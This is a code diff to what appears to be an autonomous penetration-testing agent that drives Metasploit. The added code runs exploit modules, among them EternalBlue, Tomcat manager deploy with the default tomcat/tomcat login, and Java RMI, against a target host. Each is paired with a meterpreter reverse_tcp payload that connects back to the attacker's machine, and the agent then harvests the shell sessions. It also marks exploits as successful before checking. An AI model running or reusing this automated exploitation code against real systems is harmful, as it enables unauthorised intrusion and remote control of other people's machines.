@@ -159,6 +159,53 @@ def _handle_new_session(self, sid: str, sinfo: dict, via_module: str):
159159 source = "msf_executor" ,
160160 ))
161161
162+ # Modules that require LHOST and use msfconsole subprocess
163+ _CONSOLE_MODULES = {
164+ "exploit/multi/http/tomcat_mgr_deploy" : (
165+ "java/meterpreter/reverse_tcp" , 4444 ,
166+ "set HttpUsername tomcat; set HttpPassword tomcat; "
167+ ),
168+ "exploit/multi/misc/java_rmi_server" : (
169+ "java/meterpreter/reverse_tcp" , 4446 , ""
170+ ),
171+ "exploit/windows/smb/ms17_010_eternalblue" : (
172+ "windows/x64/meterpreter/reverse_tcp" , 4445 , ""
173+ ),
174+ }
175+
176+ def _run_msf_via_console (self , module : str , target : str , port : str ,
177+ payload : str , lhost : str , lport : int ,
178+ extra_opts : str = "" ) -> str :
179+ """Launch msfconsole non-interactively — used when LHOST must be set."""
180+ cmd = (
181+ f"use { module } ; "
182+ f"set RHOSTS { target } ; "
183+ f"set RPORT { port } ; "
184+ f"set PAYLOAD { payload } ; "
185+ f"set LHOST { lhost } ; "
186+ f"set LPORT { lport } ; "
187+ f"{ extra_opts } "
188+ f"set ExitOnSession false; "
189+ f"run -z -j; "
190+ f"sleep 15; "
191+ f"sessions"
192+ )
193+ print (f"[AGENT] msfconsole: { module } → { target } :{ port } LHOST={ lhost } :{ lport } " )
194+ try :
195+ result = subprocess .run (
196+ ["msfconsole" , "-q" , "-x" , cmd ],
197+ capture_output = True , text = True , timeout = 60 ,
198+ )
199+ output = result .stdout + result .stderr
200+ print (f"[DEBUG] msfconsole output : { output [- 500 :]} " )
201+ return output
202+ except FileNotFoundError :
203+ logger .warning ("msfconsole not found in PATH" )
204+ return ""
205+ except subprocess .TimeoutExpired :
206+ logger .warning ("msfconsole timed out after 60s" )
207+ return ""
208+
162209 def _execute_exploit (self , decision : Dict ):
163210 host = decision .get ("target_host" , self .state .target )
164211 port = str (decision .get ("target_port" , 0 ))
@@ -173,12 +220,22 @@ def _execute_exploit(self, decision: Dict):
173220
174221 if tool == "metasploit" and self .msf_client :
175222 try :
176- # Delegate entirely to Phase 3 MetasploitEngine — do NOT duplicate its logic
177- from exploitation .metasploit_engine import MetasploitEngine
178- eng = MetasploitEngine ()
179- eng ._client = self .msf_client # inject existing connection
223+ console_cfg = self ._CONSOLE_MODULES .get (module )
224+ if console_cfg :
225+ # Modules requiring LHOST → subprocess msfconsole
226+ payload , lport , extra = console_cfg
227+ lhost = self ._get_local_ip ()
228+ self ._run_msf_via_console (module , host , port , payload , lhost , lport , extra )
229+ # Mark success optimistically and check sessions via RPC
230+ result = {"status" : "success" , "output" : "msfconsole launched" }
231+ else :
232+ # All other modules → Phase 3 MetasploitEngine via RPC
233+ from exploitation .metasploit_engine import MetasploitEngine
234+ eng = MetasploitEngine ()
235+ eng ._client = self .msf_client
236+ result = eng .run_module (host , port , module )
237+
180238 print (f"[AGENT] Exploit: { module } on { host } :{ port } " )
181- result = eng .run_module (host , port , module )
182239 print (f"[AGENT] Result: { result .get ('status' )} — { result .get ('output' ,'' )[:80 ]} " )
183240
184241 if result .get ("status" ) == "success" :
@@ -188,11 +245,13 @@ def _execute_exploit(self, decision: Dict):
188245 data = {"host" : host , "port" : port , "module" : module },
189246 source = "executor" ,
190247 ))
191- # Check sessions after Phase 3 run_module (it already waited post_sleep )
192- time .sleep (3 )
248+ # Accept ALL session types (shell + meterpreter )
249+ time .sleep (5 )
193250 sessions = self .msf_client .sessions .list or {}
194- print (f"[DEBUG] Sessions après exploit : { sessions } " )
251+ print (f"[DEBUG] Toutes sessions : { sessions } " )
195252 for sid , sinfo in sessions .items ():
253+ stype = sinfo .get ("type" , "" )
254+ print (f"[DEBUG] Session { sid } type={ stype } info={ sinfo .get ('info' ,'' )} " )
196255 sid_str = str (sid )
197256 if sid_str not in self .state .sessions :
198257 self .state .sessions [sid_str ] = sinfo
0 commit comments